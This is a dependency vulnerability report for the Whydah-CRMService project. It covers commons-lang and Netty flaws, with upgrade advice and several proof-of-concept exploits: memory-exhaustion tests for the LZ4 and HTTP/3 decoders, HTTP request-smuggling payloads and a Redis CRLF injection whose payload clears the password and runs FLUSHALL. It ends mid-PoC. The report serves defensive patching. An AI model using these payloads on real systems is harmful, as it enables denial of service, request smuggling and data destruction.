Vulnerabilities

22 via 53 paths

Dependencies

132

Source

GitHub

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 22
  • 1
Severity
  • 9
  • 12
  • 2
Status
  • 23
  • 0
  • 0

high severity

Uncontrolled Recursion

  • Vulnerable module: commons-lang:commons-lang
  • Introduced through: org.constretto:constretto-spring@2.2.3

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService org.constretto:constretto-spring@2.2.3 org.constretto:constretto-api@2.2.3 commons-lang:commons-lang@2.6
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService org.constretto:constretto-spring@2.2.3 org.constretto:constretto-core@2.2.3 org.constretto:constretto-api@2.2.3 commons-lang:commons-lang@2.6

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion via the ClassUtils.getClass function. An attacker can cause the application to terminate unexpectedly by providing excessively long input values.

Remediation

There is no fixed version for commons-lang:commons-lang.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-compression
  • Introduced through: io.ratpack:ratpack-core@1.9.0, io.ratpack:ratpack-guice@1.9.0 and others

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the Lz4FrameDecoder component. An attacker can cause excessive memory allocation by sending specially crafted compressed data with manipulated header fields, leading to resource exhaustion and potential denial of service.

PoC

    @Test
    void test() throws Exception {
        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            AtomicReference<Throwable> serverError = new AtomicReference<>();
            CountDownLatch latch = new CountDownLatch(1);

            ServerBootstrap server = new ServerBootstrap()
                    .group(workerGroup)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new ChannelInitializer<SocketChannel>() {
                        @Override
                        protected void initChannel(SocketChannel ch) {
                            ch.pipeline()
                                    .addLast(new Lz4FrameDecoder())
                                    .addLast(new ChannelInboundHandlerAdapter() {
                                        @Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            if (cause instanceof DecoderException) {
                                                serverError.set(cause.getCause());
                                            } else {
                                                serverError.set(cause);
                                            }
                                            latch.countDown();
                                        }
                                    });
                        }
                    });

            ChannelFuture serverChannel = server.bind(0).sync();

            Bootstrap client = new Bootstrap()
                    .group(workerGroup)
                    .channel(NioSocketChannel.class)
                    .handler(new ChannelInboundHandlerAdapter() {
                        @Override
                        public void channelActive(ChannelHandlerContext ctx) {
                            ByteBuf buf = ctx.alloc().buffer(22, 22);
                            buf.writeLong(MAGIC_NUMBER);
                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
                            buf.writeIntLE(1);
                            buf.writeIntLE(1 << 25);
                            buf.writeIntLE(0);
                            buf.writeByte(0);

                            ctx.writeAndFlush(buf);

                            ctx.fireChannelActive();
                        }
                    });

            ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();

            assertTrue(latch.await(10, TimeUnit.SECONDS));

            assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());

            clientChannel.channel().close();
            serverChannel.channel().close();
        } finally {
            workerGroup.shutdownGracefully();
        }
    }

Remediation

Upgrade io.netty:netty-codec-compression to version 4.2.13.Final or higher.

References

high severity
new

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: io.netty:netty-codec-compression
  • Introduced through: io.ratpack:ratpack-core@1.9.0, io.ratpack:ratpack-guice@1.9.0 and others

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final

Overview

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the HttpContentDecompressor and DelegatingDecompressorFrameListener components when the Content-Encoding header is set to br, zstd, or snappy. An attacker can exhaust system memory and cause a denial of service by sending a highly compressed payload that decompresses to a very large size, bypassing the configured decompression limit.

Remediation

Upgrade io.netty:netty-codec-compression to version 4.2.13.Final or higher.

References

high severity
new

Null Byte Interaction Error (Poison Null Byte)

  • Vulnerable module: io.netty:netty-codec-dns
  • Introduced through: io.netty:netty-all@4.2.11.Final, io.ratpack:ratpack-core@1.9.0 and others

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-dns@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.13.Final.
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final

Overview

Affected versions of this package are vulnerable to Null Byte Interaction Error (Poison Null Byte) due to inadequate validation of domain name labels and lengths in the encodeDomainName and decodeDomainName components. An attacker can cause DNS cache poisoning, bypass domain validation, or trigger excessive memory allocation by supplying specially crafted domain names or malicious DNS responses. This can result in downstream failures, silent truncation of domain names, and parser confusion across different DNS implementations.

Remediation

Upgrade io.netty:netty-codec-dns to version 4.1.133.Final, 4.2.13.Final or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.12.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the parsing of quoted strings within chunked transfer encoding extension values. An attacker can inject arbitrary HTTP requests into a connection by crafting chunk extensions containing carriage return or line feed bytes, leading to parsing discrepancies between the server and RFC-compliant intermediaries.

PoC

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.132.Final, 4.2.12.Final or higher.

References

high severity
new

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: io.netty:netty-codec-http2
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http2@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.13.Final.

Overview

io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the HttpContentDecompressor and DelegatingDecompressorFrameListener components when the Content-Encoding header is set to br, zstd, or snappy. An attacker can exhaust system memory and cause a denial of service by sending a highly compressed payload that decompresses to a very large size, bypassing the configured decompression limit.

Remediation

Upgrade io.netty:netty-codec-http2 to version 4.1.133.Final, 4.2.13.Final or higher.

References

high severity
new

Memory Allocation with Excessive Size Value

  • Vulnerable module: io.netty:netty-codec-http3
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http3@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.13.Final.

Overview

Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value through the decodeHuffmanEncodedLiteral function in the QPACK decoder, which allocates memory for a byte array based on a length value received from the network without verifying that sufficient data is present. An attacker can cause excessive memory allocation, leading to server slowdown, stalling, or crashing by sending specially crafted HTTP/3 HEADERS frames with malicious QPACK sections.

PoC

    @Test
    public void test() throws Exception {
        EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());
        try {
            X509Bundle cert = new CertificateBuilder()
                    .subject("cn=localhost")
                    .setIsCertificateAuthority(true)
                    .buildSelfSigned();

            QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())
                    .applicationProtocols(Http3.supportedApplicationProtocols())
                    .build();

            AtomicReference<Throwable> serverErrors = new AtomicReference<>();
            CountDownLatch serverConnectionClosed = new CountDownLatch(1);

            ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()
                    .sslContext(serverContext)
                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
                    .initialMaxData(10_000_000)
                    .initialMaxStreamDataBidirectionalLocal(1_000_000)
                    .initialMaxStreamDataBidirectionalRemote(1_000_000)
                    .initialMaxStreamsBidirectional(100)
                    .tokenHandler(InsecureQuicTokenHandler.INSTANCE)
                    .handler(new ChannelInitializer<QuicChannel>() {
                        @Override
                        protected void initChannel(QuicChannel ch) {
                            ch.closeFuture().addListener(f -> serverConnectionClosed.countDown());
                            ch.pipeline().addLast(new Http3ServerConnectionHandler(
                                    new ChannelInboundHandlerAdapter() {
                                        @Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            if (cause instanceof DecoderException) {
                                                serverErrors.set(cause.getCause());
                                            } else {
                                                serverErrors.set(cause);
                                            }
                                        }
                                    }));
                        }
                    })
                    .build();

            Channel server = new Bootstrap()
                    .group(group)
                    .channel(NioDatagramChannel.class)
                    .handler(serverCodec)
                    .bind("127.0.0.1", 0)
                    .sync()
                    .channel();

            QuicSslContext clientContext = QuicSslContextBuilder.forClient()
                    .trustManager(InsecureTrustManagerFactory.INSTANCE)
                    .applicationProtocols(Http3.supportedApplicationProtocols())
                    .build();

            ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()
                    .sslContext(clientContext)
                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
                    .initialMaxData(10000000)
                    .initialMaxStreamDataBidirectionalLocal(1000000)
                    .build();

            Channel client = new Bootstrap()
                    .group(group)
                    .channel(NioDatagramChannel.class)
                    .handler(clientCodec)
                    .bind(0)
                    .sync()
                    .channel();

            QuicChannel quicChannel = QuicChannel.newBootstrap(client)
                    .handler(new Http3ClientConnectionHandler())
                    .remoteAddress(server.localAddress())
                    .localAddress(client.localAddress())
                    .connect()
                    .get();

            QuicStreamChannel rawStream =
                    quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();

            ByteBuf header = Unpooled.buffer();
            header.writeByte(0x01);
            header.writeByte(0x08);

            header.writeByte(0x00);
            header.writeByte(0x00);

            header.writeByte(0x27);
            header.writeByte(0x80);
            header.writeByte(0x80);
            header.writeByte(0x80);
            header.writeByte(0x80);
            header.writeByte(0x04);

            rawStream.writeAndFlush(header).sync();

            assertTrue(serverConnectionClosed.await(10, TimeUnit.SECONDS));

            assertInstanceOf(IndexOutOfBoundsException.class, serverErrors.get());

            quicChannel.closeFuture().await(5, TimeUnit.SECONDS);
            server.close().sync();
            client.close().sync();
        } finally {
            group.shutdownGracefully();
        }
    }

Remediation

Upgrade io.netty:netty-codec-http3 to version 4.2.13.Final or higher.

References

high severity
new

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: io.netty:netty-transport-classes-epoll
  • Introduced through: io.netty:netty-all@4.2.11.Final, io.ratpack:ratpack-core@1.9.0 and others

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-transport-classes-epoll@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.13.Final.
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.ratpack:ratpack-exec@1.9.0 io.netty:netty-transport-native-epoll@4.2.11.Final io.netty:netty-transport-classes-epoll@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.ratpack:ratpack-exec@1.9.0 io.netty:netty-transport-native-epoll@4.2.11.Final io.netty:netty-transport-classes-epoll@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.ratpack:ratpack-exec@1.9.0 io.netty:netty-transport-native-epoll@4.2.11.Final io.netty:netty-transport-classes-epoll@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.ratpack:ratpack-exec@1.9.0 io.netty:netty-transport-native-epoll@4.2.11.Final io.netty:netty-transport-classes-epoll@4.2.11.Final

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime in the handling of TCP connections with ALLOW_HALF_CLOSURE enabled when a remote peer sends a FIN followed by a RST. An attacker can cause resource exhaustion or high CPU utilization by repeatedly establishing such connections and triggering the described sequence, leading to stale channels that are never cleaned up and potential CPU busy-loops in the event loop thread.

Workaround

This vulnerability can be mitigated by configuring idle timeouts on connections to limit the lifetime of stale channels.

Remediation

Upgrade io.netty:netty-transport-classes-epoll to version 4.2.13.Final or higher.

References

high severity
new

CRLF Injection

  • Vulnerable module: io.netty:netty-codec-redis
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-redis@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.13.Final.

Overview

Affected versions of this package are vulnerable to CRLF Injection in the RedisEncoder component. An attacker can inject arbitrary Redis commands or forge responses by supplying input containing CRLF sequences, which are not properly sanitized before being written to the network output buffer. This allows manipulation of the Redis protocol stream, potentially leading to unauthorized command execution or response poisoning.

Note:

This is only exploitable if user-controlled input is placed into InlineCommandRedisMessage, SimpleStringRedisMessage, or ErrorRedisMessage content, and the application does not perform its own CRLF sanitization before constructing these message objects.

PoC

import io.netty.buffer.ByteBuf;
import io.netty.buffer.ByteBufUtil;
import io.netty.buffer.UnpooledByteBufAllocator;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.redis.*;

import java.nio.charset.StandardCharsets;
import java.util.List;
import java.util.ArrayList;

/**
 * PoC: Redis Encoder CRLF Injection Vulnerability
 *
 * Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage,
 * and ErrorRedisMessage do not validate content for CRLF characters,
 * allowing Redis command injection via the RESP protocol.
 */
public class RedisEncoderCRLFInjectionPoC {

    public static void main(String[] args) {
        System.out.println("=== Netty Redis Encoder CRLF Injection PoC ===\n");

        testInlineCommandInjection();
        testSimpleStringInjection();
        testErrorMessageInjection();

        System.out.println("\n=== PoC Complete ===");
    }

    /**
     * Test 1: Inline Command Injection
     * An attacker-controlled string injected into InlineCommandRedisMessage
     * results in multiple Redis commands being sent.
     */
    static void testInlineCommandInjection() {
        System.out.println("[TEST 1] Inline Command CRLF Injection");
        System.out.println("----------------------------------------");

        // Malicious content: inject FLUSHALL after a benign PING
        String maliciousContent = "PING\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        // This should be rejected but is accepted
        InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   InlineCommandRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        // Count how many CRLF-delimited commands are in the output
        String[] commands = encoded.split("\r\n");
        System.out.println("Number of commands parsed by Redis: " + commands.length);
        for (int i = 0; i < commands.length; i++) {
            if (!commands[i].isEmpty()) {
                System.out.println("  Command " + (i + 1) + ": " + commands[i]);
            }
        }

        boolean vulnerable = commands.length > 1;
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Multiple commands injected!" : "NO"));
        System.out.println();
    }

    /**
     * Test 2: SimpleString Response Injection
     * When Netty acts as a Redis proxy/middleware, a malicious SimpleString
     * can inject fake responses to the downstream client.
     */
    static void testSimpleStringInjection() {
        System.out.println("[TEST 2] SimpleString Response CRLF Injection");
        System.out.println("----------------------------------------------");

        // Malicious content: inject a fake bulk string response after OK
        String maliciousContent = "OK\r\n$6\r\nhacked";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   SimpleStringRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        // The RESP protocol uses the first byte to determine type:
        // '+' = Simple String, '$' = Bulk String
        // A client parsing this would see:
        // 1. "+OK\r\n"       -> Simple String "OK"
        // 2. "$6\r\nhacked"  -> Bulk String "hacked" (injected!)
        boolean vulnerable = encoded.contains("+OK\r\n$6\r\nhacked");
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Response poisoning possible!" : "NO"));
        System.out.println();
    }

    /**
     * Test 3: Error Message Injection
     * Similar to SimpleString but with error messages.
     */
    static void testErrorMessageInjection() {
        System.out.println("[TEST 3] Error Message CRLF Injection");
        System.out.println("--------------------------------------");

        String maliciousContent = "ERR unknown\r\n+INJECTED_OK";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   ErrorRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        boolean vulnerable = encoded.contains("-ERR unknown\r\n+INJECTED_OK");
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Error + fake OK injected!" : "NO"));
        System.out.println();
    }
}

Remediation

Upgrade io.netty:netty-codec-redis to version 4.1.133.Final, 4.2.13.Final or higher.

References

medium severity
new

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.13.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling when parsed HTTP requests contain malformed Transfer-Encoding headers. An attacker can inject unauthorized HTTP requests by crafting a request with a Transfer-Encoding: chunked, identity header, which is incorrectly interpreted, allowing the attacker to smuggle additional requests through the connection.

PoC

@Test
    public void test() {
        String requestStr = "POST / HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "Transfer-Encoding: chunked, identity\r\n" +
                "Content-Length: 48\r\n" +
                "\r\n" +
                "0\r\n" +
                "\r\n" +
                "GET /smuggled HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "\r\n";

        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

        // Request 1
        HttpRequest request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        assertTrue(request.headers().contains("Transfer-Encoding"));
        assertFalse(request.headers().contains("Content-Length"));
        LastHttpContent last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();

        // Request 2
        request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();
    }

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

medium severity
new

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.13.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the HttpClientCodec component. An attacker can cause response desynchronization and potentially compromise the integrity and availability of HTTP parsing by sending crafted HTTP/1.1 pipelined requests that include a HEAD request and trigger the server to send 1xx responses. This can result in unsafe reuse of the socket and misinterpretation of response bodies.

Note:

This is only exploitable if HTTP/1.1 pipelining is used, a HEAD request is present in the pipeline, and the server sends 1xx responses.

PoC

    @Test
    public void test() {
        EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());

